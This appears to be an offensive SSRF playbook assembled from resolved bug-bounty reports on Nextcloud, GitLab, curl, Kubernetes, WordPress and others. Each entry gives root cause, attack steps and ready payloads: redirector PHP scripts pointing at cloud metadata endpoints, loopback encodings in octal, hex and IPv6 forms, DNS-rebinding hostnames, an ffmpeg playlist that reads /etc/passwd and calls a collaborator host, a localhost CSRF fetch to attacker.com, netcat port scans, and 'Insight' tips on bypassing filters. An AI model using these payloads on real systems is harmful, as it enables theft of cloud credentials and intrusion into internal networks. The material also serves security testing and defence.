https://TARGET/dashboard/validate?schema=federal-v1.1&output=browser&datajson_url=http://ATTACKER/index.php&qa=true
Insight — Validators/parsers that fetch a remote document leak a port-scan oracle through their success/error wording; use a redirector to reach loopback and read the differential.
Real-world example
HTTPS-only SSRF filter bypassed via redirect to http IMDS
◆ Medium
Specimen #1108418 · logitech · USD 200 · 41 votes · resolved
Program logitechSurface apiChain SSRF -> IMDSTag cloud-aws
Root cause
Streamlabs Cloudbot's {readapi.<url>} variable fetches a URL but only allows https://; since the backend follows redirects, an attacker-hosted https page 302-redirecting to http://169.254.169.254 reaches IMDS despite the http block.
Method
- Find a URL-fetch feature that only permits https://
- Host an https page that redirects to the http-only internal target
- Fetch reflects the metadata (subject to content-type/length/no-brace constraints)
# slpoc.php on your https host:
<?php header('Location: http://169.254.169.254/latest/meta-data/'); ?>
A{readapi.https://ATTACKER/slpoc.php}B
Insight — A scheme/host allowlist that follows redirects is bypassable: satisfy the check with https, then 302 to the forbidden http/internal target. IMDS is http-only, so this is the standard bypass.
Real-world example
DNS rebinding defeats DNS-pin SSRF middleware (CVE-2023-48306)
◆ Medium
Specimen #2115212 · nextcloud · awarded · 38 votes · resolved
Program nextcloudSurface web
Root cause
Nextcloud's DNS-pinning middleware, meant to prevent SSRF by pinning the resolved IP, could be tricked via DNS rebinding so validation resolves to a safe IP but the subsequent request resolves to an internal one.
Method
- Point a domain at a rebinding service alternating public and internal IPs (TTL 0)
- Submit the domain to a fetch feature protected by DNS-pin middleware
- Validation sees the public IP; the actual request resolves to the internal IP
# rebind.example -> first A: public IP (passes guard); second A: 169.254.169.254 / internal (fetched)
Insight — DNS-pinning is only safe if the exact resolved IP is reused for the real connection; if there's a re-resolution window, DNS rebinding (TOCTOU on DNS) bypasses it.
Real-world example
SSRF IP-filter bypass via enclosed-alphanumeric / unicode digits
◆ Medium
Specimen #1702864 · nextcloud · $250 · 33 votes · resolved
Program nextcloudSurface webChain filter bypass -> AWS/Alibaba metadataTag cloud-aws
Root cause
The IP validator uses filter_var(FILTER_VALIDATE_IP), which rejects only well-formed dotted-decimal/IPv6; unicode enclosed-alphanumeric digit lookalikes are not recognized as an IP by the filter but are normalized to the real metadata IP downstream, bypassing the check.
Method
- Confirm dotted-decimal 169.254.169.254 and 100.100.100.200 are blocked
- Encode the metadata IP using enclosed-alphanumeric unicode digits so filter_var fails to see an IP (skips the block) while the fetcher still resolves it
⑰⑨。②⑥④。⑰⑨。②⑥④ # unicode for 169.254.169.254
Insight — When SSRF defenses hinge on filter_var/regex IP recognition, feed IP forms the validator does not treat as an IP but the HTTP client still normalizes: unicode enclosed digits, octal/hex/zero-padded octets, decimal integer IPs. Detection-vs-fetch normalization mismatch is the core bypass.
Real-world example
Unvalidated Web Push endpoint stored -> blind POST SSRF (low-priv)
◆ Medium
Specimen #3608558 · phpbb · none · 31 votes · resolved
Program phpbbSurface webChain stored push endpoint -> blind POST SSRF -> IMDS/internTag cloud-awsTag webhook
Root cause
phpBB stores a user-supplied Web Push subscription endpoint URL without validation and later POSTs notifications to it via Guzzle, so any registered user can make the server send outbound POSTs (3KB body) to internal/metadata targets.
Method
- As a registered user, subscribe to Web Push and intercept /user/push/subscribe
- Replace the endpoint field with an internal URL (supply valid P-256 ECDH keys, trivially generated)
- Trigger any notification for yourself (reply/PM/quote)
- Server POSTs the encrypted push payload to your endpoint (blind; observe via timing/status/admin log)
POST /user/push/subscribe
{ "endpoint": "http://169.254.169.254/", "keys": { "p256dh": "<valid>", "auth": "<valid>" } }
Insight — Web Push / notification / callback URL fields stored per-user are blind POST SSRF sinks reachable by low-priv users - not just admins. IMDSv1 answers POSTs; a non-empty body can also trigger internal POST-accepting services. Same class as the older Jabber-settings SSRF (#1018568).
Real-world example
Host-header override reaches internal same-IP subdomains
◆ Medium
Specimen #1783015 · urbancompany · $500 · 31 votes · resolved
Program urbancompanySurface webChain host-header routing -> access to internal-only subdomains
Root cause
An edge/proxy routes by Host header without restricting internal vhosts, so overriding Host to an internal subdomain (av/ims/mesh) that shares the public IP serves that internal application's content to an external attacker.
Method
- Identify internal subdomains resolving to the same IP as the public site
- In Burp, add a Match & Replace rule rewriting Host to the internal subdomain
- Browse the public host; the proxy serves the internal vhost (enumerate its endpoints)
# Burp Match/Replace: Host: www.target.com -> Host: ims.target.com
Insight — When several (public + internal) subdomains share one IP, Host-header override lets you pivot to internal vhosts from the outside. After confirming, fuzz endpoints on the reachable internal apps.
Real-world example
Host header @-userinfo forces outbound request (internal IP + auth leak)
◆ Medium
Specimen #310036 · deptofdefense · none · 30 votes · resolved
Program deptofdefenseSurface webChain host-header @ SSRF -> internal IP + Authorization/Cookie
Root cause
A front-end/proxy parses the Host header as host@target, treating the part after @ as the real destination, so www.target:80@attacker.tld makes the server connect outbound to the attacker while leaking internal IP, cookies and an Authorization header.
Method
- Send a request with Host: www.target:80@COLLABORATOR
- Observe the server connect out to your collaborator, leaking an internal source IP (via DNS lookup) and forwarded Authorization/Cookie headers
GET / HTTP/1.1
Host: www.target:80@yourhost.com
Connection: close
Insight — When a proxy/CDN treats the Host header as URL authority, the userinfo @ splits host from destination - test Host: target@collab and target:port@collab to induce SSRF and leak internal IPs and forwarded auth headers.
Real-world example
Integration follows 302 redirect to internal network (POST SSRF)
◆ Medium
Specimen #446593 · gitlab · $2000 · 29 votes · resolved
Program gitlabSurface webChain integration webhook -> 302 -> internal POST / IMDSTag webhookTag cloud-aws
Root cause
The GitHub CI-status integration posts pipeline results to a user-supplied external repo URL and blindly follows redirects, so a 302 to 127.0.0.1:<port> makes the server issue internal POSTs and surfaces the internal response in the UI error.
Method
- Create a project with a .gitlab-ci.yml that runs a pipeline
- Set the GitHub integration external URL to your server (http://ATTACKER/1/2)
- Your server replies 302 with Location: http://127.0.0.1:<port>/
- Read the internal service's response from the integration error message (test ports 80/8080/22 for banner differences)
HTTP/1.1 302 Found
Location: http://127.0.0.1:8080/
Connection: close
Content-Length: 0
Insight — Outbound-webhook/integration test buttons that follow redirects are a reliable SSRF: the allowlist only checks the first hop. Always answer the callback with a 302 to internal targets and read differential error messages/banners.
Real-world example
Notification-server config points app at attacker host -> SSRF
◆ Medium
Specimen #850114 · phabricator · $300 · 28 votes · resolved
Program phabricatorSurface webChain config-driven SSRF -> redirect -> internal/external fe
Root cause
Phabricator's notification.servers admin setting defines host/port the server connects to for status; setting an attacker host makes the app issue GET /status requests it can then redirect to internal/external resources.
Method
- As admin, edit Config > notification.servers and set an admin-type entry host to your server
- Your server responds to /status and can 302-redirect the follow-up request to internal assets
[{"type":"admin","host":"ATTACKER","port":22281,"protocol":"http"}]
# /status handler: <?php header("Location: http://internal.loc/"); ?>
Insight — Admin-configurable service/integration endpoints (notification, SMTP, storage, SSO metadata URLs) are SSRF sinks even when auth-gated; useful in chained/second-order scenarios or where 'admin' is a low trust boundary. Redirect the callback to reach internal resources.
Real-world example
K8s admission webhook config -> SSRF in cloud API, full-body via klog v10
◆ Medium
Specimen #941178 · kubernetes · awarded · 23 votes · resolved
Program kubernetesSurface cloudChain admission webhook SSRF -> 302 to metadata -> credentiaTag cloud-aws
Root cause
A ValidatingWebhookConfiguration clientConfig.url is called by the apiserver whenever a matching resource is created; on managed clusters (GKE/AKS/EKS) that call originates inside the provider network, and with apiserver log verbosity raised the full response body is logged.
Method
- Create a ValidatingWebhookConfiguration whose clientConfig.url points at your server, matching resource=serviceaccounts, ops CREATE/DELETE/UPDATE
- Have your server 302-redirect the apiserver call to the internal target (e.g. metadata)
- Raise klog verbosity (curl -XPUT --data '10' http://localhost:8001/debug/flags/v) so the apiserver logs 'Response Body:'
- Create a serviceaccount to trigger; read kube-apiserver.INFO logs for the internal response
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata: { name: test.config.xxx.io }
webhooks:
- name: test.config.xxx.io
rules: [{apiGroups:[""],apiVersions:["v1"],operations:["CREATE"],resources:["serviceaccounts"],scope:"*"}]
clientConfig: { url: "https://ATTACKER/aa" }
admissionReviewVersions: ["v1"]
sideEffects: None
Insight — Admission webhooks are an apiserver-side outbound-request primitive; combined with a 302 redirect they become SSRF from the control plane. Response bodies that are normally blind can leak through verbose logging - always check what the target logs at high verbosity.
Real-world example
Headless-browser image preview + redirect -> client-side port scan
◆ Medium
Specimen #783392 · lemlist · none · 23 votes · resolved
Program lemlistSurface webChain preview render SSRF -> browser-side internal port scan /
Root cause
An image-template preview renders an attacker-influenced URL in headless Chrome; redirecting it to an attacker page that iframes 127.0.0.1:<port> and times onload events turns the server's browser into a localhost/internal port scanner (and the screenshot can leak internal content).
Method
- Point the preview URL (email= param) at your host
- Serve a page that redirects (301) to a JS port-scanner which iframes url:port and measures onload timing
- Collect open ports; tune the setTimeout (~500ms) to the headless render timing
# redirector
<?php header("Location: http://ATTACKER/PoC.html?i=0", true, 301); ?>
# scanner iframes http://127.0.0.1:PORT and times iframe.onload to infer open ports
Insight — Server-side screenshot/preview renderers (headless Chrome/PhantomJS) are SSRF+client-side-scan primitives: use a redirect to load an in-browser iframe port scanner, or read internal pages straight off the returned screenshot.
Real-world example
Image proxy follows redirect -> port + auth-header bypass
◆ Medium
Specimen #204513 · wordpress · awarded · 21 votes · resolved
Program wordpressSurface webChain image proxy -> 302 -> internal port scan + authed inteTag file-upload
Root cause
The Photon image CDN validates the initial URL (rejecting odd ports) but then blindly follows a 302, so the redirect target can specify any internal IP, any port, and even embed basic-auth credentials which Photon forwards.
Method
- Request http://i0.wp.com/<attacker-host>/new.php?resize=0,2 (a normal-looking image URL passes validation)
- attacker new.php returns 302 Location: http://admin:admin@INTERNAL:PORT
- Photon follows to the internal host:port and sends the Authorization: Basic header
- Bump the resize/query params to bust the cache between probes
<?php header('Location: http://admin:admin@159.203.190.123:666'); ?>
Insight — Initial-URL allowlists on image/media proxies are bypassed by redirects; the redirect can reintroduce blocked ports and inject Authorization via userinfo@. Cache-bust by varying image-transform params to re-fire the fetch.
Real-world example
IPv6-mapped IPv4 literal bypasses SSRF filter
◆ Medium
Specimen #736867 · nextcloud · USD 100 · 18 votes · resolved
Program nextcloudSurface web
Root cause
An SSRF blocklist blocks decimal 127.0.0.1 but not the IPv6-mapped-IPv4 literal, which the HTTP stack still resolves to loopback.
Method
- Take any SSRF-guarded URL field (calendar/dav)
- Encode loopback as [0:0:0:0:0:ffff:127.0.0.1]
- Point at an internal file/service
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://[0:0:0:0:0:ffff:127.0.0.1]:80/secret.ics
Insight — Always test IPv6 representations of loopback/private hosts ([::ffff:127.0.0.1], [::1], mapped forms of 169.254.169.254); filters that only handle IPv4 dotted-decimal miss them.
Real-world example
Octal/hex/decimal IP notation bypasses localhost blocklist
◆ Medium
Specimen #215105 · gitlab · none · 18 votes · resolved
Program gitlabSurface web
Root cause
A blocklist matches literal 127.0.0.1/localhost strings but the resolver accepts alternate integer encodings of the same address, bypassing the string check.
Method
- Take a URL field that blocks http://127.0.0.1 / localhost
- Substitute an alternate-notation loopback
- Use it to reach internal ports
http://0177.1/ (octal)
http://0x7f.1/ (hex)
http://2130706433/ (decimal)
http://0177.0.0.1/
Insight — IP addresses have many equivalent encodings (octal, hex, dword, mixed); a robust bypass set is 0177.1, 0x7f.1, 2130706433, 0.0.0.0. String-based SSRF filters almost always miss these.
Real-world example
Unauthenticated SSRF via vendored csstidy CSS-optimiser test page
◆ Medium
Specimen #1595006 · nextcloud · $250 · 17 votes · resolved
Program nextcloudSurface webChain SSRF (remote fetch) + file write to temp/ .css -> RFI if Tag file-upload
Root cause
A bundled third-party library (cerdic/csstidy) ships an example/test PHP script (css_optimiser.php) that fetches an attacker-supplied 'url' parameter server-side with no auth and no host validation; leaving vendor demo/test files web-accessible turns them into SSRF sinks.
Method
- Locate the vendored library's demo endpoint under a web-accessible path: /apps/mail/vendor/cerdic/css-tidy/css_optimiser.php (no authentication required).
- Supply the 'url' parameter (or the 'CSS from URL' form field) to force a server-side HTTP fetch to an internal/localhost/LAN target.
- Use collaborator/internal probes to enumerate internal services and, on home-network deployments, reach the LAN router.
- Optionally set custom=1&template=4 to have the fetched remote content written as a .css file into the library's temp/ dir (RFI primitive if chained with an LFI).
GET /apps/mail/vendor/cerdic/css-tidy/css_optimiser.php?url=http://localhost/test
# write remote data to a local CSS file (RFI gadget when paired with an LFI):
GET /apps/mail/vendor/cerdic/css-tidy/css_optimiser.php?url=http://ATTACKER/shell.css&custom=1&template=4
Insight — Grep the app's vendor/ tree for shipped demo/test/example scripts (css_optimiser.php, phpinfo, test.php, install.php). Third-party libraries often include URL-fetch demos that the host app never intended to expose; these are unauthenticated SSRF sinks. Also note the file-write side effect: an SSRF that persists attacker content to disk becomes an RFI primitive when combined with any LFI.
Real-world example
Card/link validator SSRF with fetch-status port oracle
◆ Medium
Specimen #178184 · x · awarded · 16 votes · resolved
Program xSurface web
Root cause
A URL preview/'card validator' fetches arbitrary URLs server-side; distinct status messages (fetch-failed vs channel-closed vs success) reveal open ports and HTTP vs non-HTTP services on loopback.
Method
- Submit http://0.0.0.0:PORT to the validator
- Classify by response: closed vs open-non-HTTP vs open-HTTP
- Enumerate paths/folders on discovered HTTP services
http://0.0.0.0:123 -> Fetching the page failed (closed)
http://0.0.0.0:22 -> ChannelClosed (open, non-HTTP)
http://0.0.0.0:4680 -> Page fetched successfully (open HTTP)
Insight — Regression-test old fixes: this was a re-introduced bug. Any 'validate my link/card' tool is an SSRF sink; use its verbose fetch outcomes as a port/service oracle and 0.0.0.0 to hit loopback.
Real-world example
SSRF via url parameter on a request-testing/preview endpoint into cloud metadata + loopback
◆ Medium
Specimen #128685 · apitest · none · 14 votes · resolved
Program apitestSurface webChain SSRF -> cloud metadata + loopback admin panel -> potenTag cloud-aws
Root cause
An endpoint that fetches a user-supplied URL (request tester / URL preview) performs the fetch server-side with no allowlist, letting the attacker reach internal-only services: cloud metadata and loopback-bound admin panels.
Method
- Locate a parameter that makes the server fetch a URL (e.g. url= on a request/preview endpoint)
- Point it at the cloud metadata IP and at loopback with alternate encodings to defeat naive filters
- Enumerate internal services and metadata; look for admin panels bound to 127.0.0.1
url=http://169.254.169.254/meta-data
url=http://0x7f.1/ # 127.0.0.1 as hex to bypass loopback string filters
url=http://0x7f.1:8081/ # reach loopback-only admin panel (VestaCP)
Insight — Any URL-fetching feature is an SSRF sink: probe 169.254.169.254 (and provider variants) plus loopback with hex/octal/decimal IP encodings (0x7f.1) to bypass '127.0.0.1'/'localhost' blocklists and hit services bound only to loopback.
Real-world example
PlantUML !include remote-resource SSRF
◆ Medium
Specimen #689245 · gitlab · awarded · 14 votes · resolved
Program gitlabSurface webTag cloud-aws
Root cause
PlantUML diagram rendering supports !include of remote URLs; a server that renders user PlantUML fetches attacker URLs, reaching internal endpoints and cloud metadata.
Method
- Find a PlantUML render endpoint (/uml/, /png/)
- Submit a diagram whose body !includes an internal URL
- Read the rendered output / errors
@startuml
start
:Do some stuff;
!include http://169.254.169.254/
stop;
@enduml
Insight — Diagram/markup renderers (PlantUML, Mermaid, Graphviz, LaTeX) with include/import directives are SSRF sinks; PlantUML's !include is the canonical one. Also probe compressed /uml/<deflate> and /png/ paths.
Real-world example
DNS rebinding defeats webhook private-IP check
◆ Medium
Specimen #1379656 · omise · awarded · 14 votes · resolved
Program omiseSurface apiTag webhook
Root cause
A webhook endpoint validates the target resolves to a public IP at save time, but re-resolves at request time; a rebinding domain returns a public IP first then 127.0.0.1, bypassing the guard (TOCTOU).
Method
- Register a webhook with a rebinding hostname (public IP on first resolve)
- Let the app save/validate it
- On the next fired event, DNS rebinds to 127.0.0.1 and the request hits internal
https://A.178.62.122.208.1time.127.0.0.1.1time.repeat.rebind.network/webhook5
# tools: rebind.network / brannondorsey/whonow
Insight — Any check-now-fetch-later SSRF guard is beatable with DNS rebinding; use a controllable multi-answer resolver (whonow/rebind.network) so validation sees a public IP and the fetch sees loopback.
Real-world example
Third-party integration 'API URL' export field as SSRF sink
◆ Medium
Specimen #754025 · stripo · none · 13 votes · resolved
Program stripoSurface webTag webhook
Root cause
An 'export to external platform' feature lets the user set the destination API base URL, which the server then calls with attacker-controlled host, yielding arbitrary outbound HTTP(S) requests.
Method
- Open export-to-<platform> integration
- Set API URL to your server (any/dummy API key)
- Trigger export and observe the callback in server logs
API URL: http://COLLAB/ (API Key: anything)
Insight — Integration config fields (API URL, endpoint, base_url, host) are under-tested SSRF sinks; set them to internal IPs or a collaborator and trigger the sync.
Real-world example
SSRF blacklist bypass with IPv6 all-interfaces [::]
◆ Medium
Specimen #61312 · slack · 100 · 13 votes · resolved
Program slackSurface webTag webhook
Root cause
URL-fetch integrations blacklist loopback/private IPv4 ranges (127/8, 10/8, 192.168/16) but not the IPv6 unspecified/all-interfaces address [::], which routes to services bound on all interfaces on the local host.
Method
- Set an integration's fetch URL (Slash Command / Phabricator integration) to http://[::]:PORT/
- Trigger the fetch; distinguish open vs closed ports by response (200 with banner, 302 vs 500)
- Enumerate internal services (SMTP 25, SSH 22, Squid 3128) via the returned banners/behaviour
http://[::]:25/
http://[::]:22/
http://[::]:3128/
Insight — When an SSRF filter blocks IPv4 private ranges, try IPv6 equivalents: [::], [::1], [0:0:0:0:0:ffff:127.0.0.1], and decimal/hex IPv4 forms. Only services listening on :: / 0.0.0.0 are reachable this way.
Real-world example
CI runner docker client follows redirects -> SSRF via attacker-owned dockerd TLS
◆ Medium
Specimen #809248 · gitlab · awarded · 12 votes · resolved
Program gitlabSurface webTag cloud-gcp
Root cause
GitLab shared-runner's docker HTTP client has no redirect policy and trusts the executor's docker daemon TLS certs, which the CI job (attacker) controls; replacing dockerd with a malicious HTTPS server that 302-redirects yields blind SSRF from the runner host.
Method
- Run a CI job, get a shell in the executor, mount host, read /etc/docker/server.pem + server-key.pem
- Stand up a malicious HTTPS server using those certs that returns 302 redirects
- Runner's docker client follows the redirect to link-local/localhost (e.g. GCP metadata)
# transport lacks CheckRedirect policy:
httpClient := &http.Client{Transport: transport}
# malicious dockerd 302 -> http://metadata.google.internal/computeMetadata/v1/...
Insight — An HTTP client with a Transport but no CheckRedirect follows redirects blindly; if the peer's TLS material is attacker-controlled, cert validation gives no protection. Look for redirect-follow SSRF wherever a server speaks HTTP(S) to an attacker-influenced backend.
Real-world example
SAML metadata import-via-URL SSRF with error oracle
◆ Medium
Specimen #324005 · pingidentity · USD 450 · 11 votes · resolved
Program pingidentitySurface webTag samlTag cloud-aws
Root cause
A SAML app-creation flow imports IdP metadata from a user-supplied URL; the server fetches it and the distinct error responses reveal internal hosts, TLS issuers, and metadata reachability.
Method
- Add SAML application -> 'use URL' for metadata
- Supply https://localhost, http://169.254.169.254/latest/meta-data/
- Classify by the error text returned
https://localhost -> 'issuer of the server X.509 cert ... not in trusted authority list' (alive TLS)
https://localhost:22 -> 'We could not connect' (closed)
http://169.254.169.254/latest/meta-data/ -> redirect/error (reachable)
Insight — 'Import metadata / config from URL' (SAML, OIDC, WSDL, OpenAPI) is a recurring SSRF sink; the fetch errors (TLS trust vs connect-refused vs redirect) form an internal-service oracle even when no body is returned.
Real-world example
Calendar subscription proxy?url= full-response SSRF (file read)
◆ Medium
Specimen #427835 · nextcloud · USD 100 · 11 votes · resolved
Program nextcloudSurface web
Root cause
The Calendar 'New Subscription' feature proxies an arbitrary url= server-side and returns the entire upstream response to the client, so an authenticated user can read internal files/services verbatim.
Method
- Add a new calendar subscription pointing url= at an internal resource
- Server fetches and returns full body
- Read internal file/service content directly
GET /index.php/apps/calendar/v1/proxy?url=http%3A%2F%2Flocalhost%2Fsecret HTTP/1.1
Insight — A proxy endpoint that returns the raw upstream body is the highest-impact SSRF form (direct read, not blind); look for /proxy?url= style helpers that were meant to relay ICS/RSS but relay anything.
Real-world example
siteInfoLookup?url= internal port scan via Content-Length oracle
◆ Medium
Specimen #738553 · stripo · none · 11 votes · resolved
Program stripoSurface api
Root cause
A site-info/preview API fetches url= server-side; a non-empty vs empty Content-Length in the reply distinguishes reachable internal host:port from unreachable, enabling internal network mapping.
Method
- Call /cabinet/stripeapi/v1/siteInfoLookup?url=http://INTERNAL_IP:PORT
- Content-Length: 0 => not accessible; >0 => accessible
- Sweep the 10.0.0.0/8 range and common ports
GET /cabinet/stripeapi/v1/siteInfoLookup?url=http://10.0.0.100:8080 HTTP/1.1
Host: my.stripo.email
Insight — Site-preview/'fetch metadata about this URL' APIs are SSRF sinks; when blind, response length is a reliable open/closed oracle for internal port scanning.
Real-world example
curl '#' host-terminator URL parser confusion (CVE-2016-8624)
◆ Medium
Specimen #180434 · ibb · awarded · 10 votes · resolved
Program ibbSurface otherTag cloud-aws
Root cause
curl < 7.51.0 mis-parses the authority when the hostname ends in '#': an RFC-compliant validator sees example.com but curl connects to the host after '#'. Classic parser-differential SSRF allowlist bypass.
Method
- Find an app that validates a URL host with one parser then fetches it with libcurl
- Craft a URL whose apparent host is allowlisted but whose real curl target is attacker-chosen
- Confirm curl connects to the second host
http://example.com#@evil.com/x.txt
# RFC parser -> host=example.com ; vulnerable curl -> host=evil.com
Insight — Whenever validation and fetching use different URL parsers, look for characters (#, @, \, whitespace, %2F, control bytes) that split the authority differently. This is the general 'parser confusion / SSRF filter bypass' family; test the exact library version doing the fetch.
Real-world example
Absolute-URI request to front proxy/cache -> SSRF + XSPA
◆ Medium
Specimen #207477 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webChain SSRF -> internal port scan (FTP/SSH/LDAP/MSSQL identifiedTag cloud-aws
Root cause
A front-end proxy/cache (or SSI server) honours an absolute-URI in the request line when no Host header is present, forwarding the request to an arbitrary host:port on the internal network.
Method
- Send a raw HTTP request whose request line is an absolute URI and omit the Host header
- Confirm the server fetches your external URL (log hit)
- Vary the port and read status differences (503 Service Unavailable = open, Timeout = filtered/closed) to scan
echo -ne 'GET http://INTERNAL_TARGET:PORT/ HTTP/1.1\r\n\r\n' | nc PROXY_HOST 80
Insight — Reverse proxies/caches that support absolute-URI request lines (proxy semantics) can be turned into SSRF via raw netcat requests. Use response-status deltas (503 vs timeout) as the XSPA open/closed oracle. Test this against any caching/SSI front end.
Real-world example
Webhook/integration URL SSRF with error-differential port scan
◆ Medium
Specimen #301924 · gitlab · none · 10 votes · resolved
Program gitlabSurface webChain SSRF -> internal service discoveryTag webhook
Root cause
A project webhook fetches the user-configured URL server-side; the app surfaces the upstream HTTP status/connection error verbatim, so an attacker distinguishes open (HTTP 404 nginx body) from closed ('Connection refused') internal ports.
Method
- Add a project integration/webhook URL
- Set it to http://127.0.0.1:PORT/path and execute the hook
- Open port -> 'Hook executed... returned HTTP 404' with the internal server's body; closed -> 'Failed to open TCP connection (Connection refused)'
- Enumerate internal ports (e.g. 9200 Elasticsearch)
Webhook URL: http://127.0.0.1:9200/haha.txt
# open: Hook executed successfully but returned HTTP 404 (nginx body leaks)
# closed: Hook execution failed: Connection refused ... port 9200
Insight — Webhook/integration/'test URL' features are the canonical SSRF sink; the verbose success/failure message is a free open/closed oracle and often leaks the internal service's response body/banner. Probe common internal ports (Redis 6379, ES 9200, metadata 169.254.169.254).
Real-world example
Adobe RoboHelp ACPS.htm URL-fragment SSRF
◆ Medium
Specimen #382048 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webTag webhook
Root cause
A packaged help viewer page (RoboHelp WebHelp ACPS.htm) takes a target URL from the location fragment and issues a server/client-side request to it, allowing arbitrary outbound requests.
Method
- Find a RoboHelp/WebHelp deployment exposing help/ACPS.htm
- Append the target as a fragment after the .htm URL
- Observe the request hitting your listener
http://TARGET/help/ACPS.htm#http://COLLAB:PORT
Insight — Third-party doc/help bundles (RoboHelp, WebHelp) carry known SSRF gadgets like ACPS.htm -- grep deployments for these static helper pages and feed a collaborator URL via the fragment. Vendor-shipped static files are an under-tested SSRF surface.
Real-world example
curl proxy-string %2F decode -> allowlist bypass (CVE-2022-27780)
◆ Medium
Specimen #1553841 · curl · none · 9 votes · resolved
Program curlSurface otherTag cloud-aws
Root cause
curl URL-decodes the entire proxy host component before sending it, so a percent-encoded path separator (%2F) in the host passes an RFC3986 allowlist check (host appears to end in .allowed.com) but decodes to a path that pins the real host to an internal IP.
Method
- Target an SSRF check that validates the proxy/URL host suffix (e.g. must end in .example.com)
- Supply an internal IP followed by %2F and the allowlisted domain as apparent host
- curl decodes %2F to / -> request is actually sent to the internal IP
- For full read, control/strip the Host header or use a server (Express) that ignores Host
curl -x http://127.0.0.1:8899 http://example.com%2F127.0.0.1
# full-read variant:
curl -x http://127.0.0.1:8899 -H "Host: example.com" http://example.com%2F127.0.0.1/%2e%2e/
Insight — Percent-encoded separators (%2F, %2e) survive a naive host-suffix allowlist but change the effective host after decode. Test %2F between the internal target and the allowlisted domain whenever an allowlist checks host endsWith().
Real-world example
SSRF + local file enumeration via ffmpeg HLS/m3u8 playlist parsing (concat:)
◆ Medium
Specimen #115978 · imgur · awarded · 8 votes · resolved
Program imgurSurface webChain SSRF -> internal service access; concat: -> local fileTag file-upload
Root cause
A video-processing pipeline fetches a user URL and hands the file to ffmpeg. ffmpeg treats any file whose bytes look like an m3u8 playlist as one (ignoring Content-Type), following the URLs/protocols inside it - yielding SSRF and, via concat:file://, boolean file-existence disclosure.
Method
- Point the video/import feature at a URL you control that returns a fake video content-type but m3u8 body
- Embed an http:// segment for basic SSRF; watch for the request from the server
- Use concat:file:///path|http://you to enumerate local files (request only fires when the file exists)
<?php header('Content-type: video/avi'); header('Content-Length: 1234'); ?>
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:file:///etc/passwd|http://COLLAB:12346/
#EXT-X-ENDLIST
Insight — Any media transcoding backend (ffmpeg/libav/ImageMagick) is an SSRF/LFR surface via playlist/container tricks - content-type checks upstream don't help because the decoder sniffs the bytes. Test image/video upload+URL-fetch features with m3u8/concat payloads.
Real-world example
Percent-encoded slash in URL host bypasses filters (curl CVE-2022-27780)
◆ Medium
Specimen #1565619 · ibb · awarded · 8 votes · resolved
Program ibbSurface otherChain URL filter bypass -> SSRF / request to unintended hostTag ssrf
Root cause
curl's URL parser accepted percent-encoded URL separators (e.g. %2F) inside the host name and decoded them after validation, so http://example.com%2F127.0.0.1/ is validated as host example.com%2F127.0.0.1 but retrieved as example.com with path /127.0.0.1/ — a different effective host.
Method
- Craft a URL where the intended/allowed host is followed by %2F and the real target
- Pass it through a validator that only inspects the raw host
- curl decodes %2F to '/' at fetch time, changing the effective host
http://example.com%2F127.0.0.1/
# validated host: example.com%2F127.0.0.1 -> fetched as host example.com, path /127.0.0.1/
# attacker variant for SSRF allowlist bypass:
http://ALLOWED_HOST%2F@INTERNAL_TARGET/
Insight — Against SSRF/URL allowlists that wrap libcurl, try percent-encoded separators (%2F, %5C, %3F, %23) in the host segment; parser-vs-fetcher decoding differences relocate the effective host past the filter.
Real-world example
CSRF against localhost service -> SOP bypass -> arbitrary internal TCP
◆ Medium
Specimen #236349 · shopify · none · 8 votes · resolved
Program shopifySurface desktopChain Malicious link -> CSRF localhost API -> SOP bypass reaTag cors
Root cause
A developer tool (Toxiproxy) exposes an unauthenticated HTTP API on 127.0.0.1:8474 with no CSRF protection; a malicious web page can create/modify TCP proxies, then chain a proxy-upstream swap and Flash socket policy to read internal state and speak arbitrary TCP to internal hosts.
Method
- From a malicious page, fetch(no-cors) POST to http://localhost:8474/proxies to create a proxy pointing at your server
- Redirect the victim to the new proxy port so it becomes same-origin, then repoint the proxy upstream at 127.0.0.1:8474 to read config via XHR (SOP bypass)
- Load a SWF, connect once to get a cached Flash socket-policy grant, then swap the proxy upstream to any internal host:port and read/write raw TCP
- DNS resolution is done by the tool, so internal hostnames resolve via split-DNS
fetch("http://localhost:8474/proxies", {method:"POST", mode:"no-cors", body: JSON.stringify({name:"csrf", listen:"0.0.0.0:2773", upstream:"attacker.com:12773", enabled:true})});
Insight — Locally-bound developer/agent APIs (127.0.0.1) with no auth/CSRF are a gateway to the internal network from a mere malicious link. Test any localhost service for state-changing no-cors CSRF; the proxy-repoint-to-self trick defeats SOP for reads. The Flash step is dead today, but the localhost-CSRF + proxy-swap SOP-bypass pattern generalizes (and DNS is resolved server-side, sparing the attacker internal mapping).
Real-world example
Apache Solr replication masterUrl SSRF (CVE-2021-27905)
◆ Medium
Specimen #1183472 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain SSRF -> internal scan; Solr SSRF historically chains towaTag cloud-aws
Root cause
Solr's ReplicationHandler fetches a user-supplied masterUrl (or ?command=fetchindex) with no restriction, so any exposed core can be coerced into arbitrary outbound requests.
Method
- Enumerate core names: GET /solr/admin/cores?wt=json
- Invoke the replication handler on a core with masterUrl set to your collaborator/internal target
- Confirm the OOB request from the Solr server
GET /solr/admin/cores?wt=json
# then:
GET /solr/CORE/replication?command=fetchindex&masterUrl=http://COLLAB/ HTTP/1.1
Insight — Known-CVE-in-the-wild: an exposed /solr admin API is an instant SSRF via masterUrl. Always try /solr/admin/cores first to get a valid core, then the replication handler. Generalize: replication/import/'fetch from master' features across data stores are SSRF sinks.
Real-world example
WordPress xmlrpc.php pingback for SSRF / reflective DoS
◆ Medium
Specimen #925519 · mtn_group · none · 6 votes · resolved
Program mtn_groupSurface webChain xmlrpc pingback -> SSRF -> internal service probing
Root cause
An exposed WordPress xmlrpc.php with pingback/system.multicall enabled lets an attacker coerce the server to make outbound requests (SSRF) and amplify/reflect traffic against third parties.
Method
- Probe /xmlrpc.php with POST system.listMethods to confirm it is enabled and lists pingback.ping / system.multicall.
- Use pingback.ping to force the server to fetch an attacker-chosen URL (SSRF / port-probe via error timing).
- Use system.multicall to batch many calls for amplification / brute-force / DoS.
POST /xmlrpc.php HTTP/1.1
Host: target
<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>
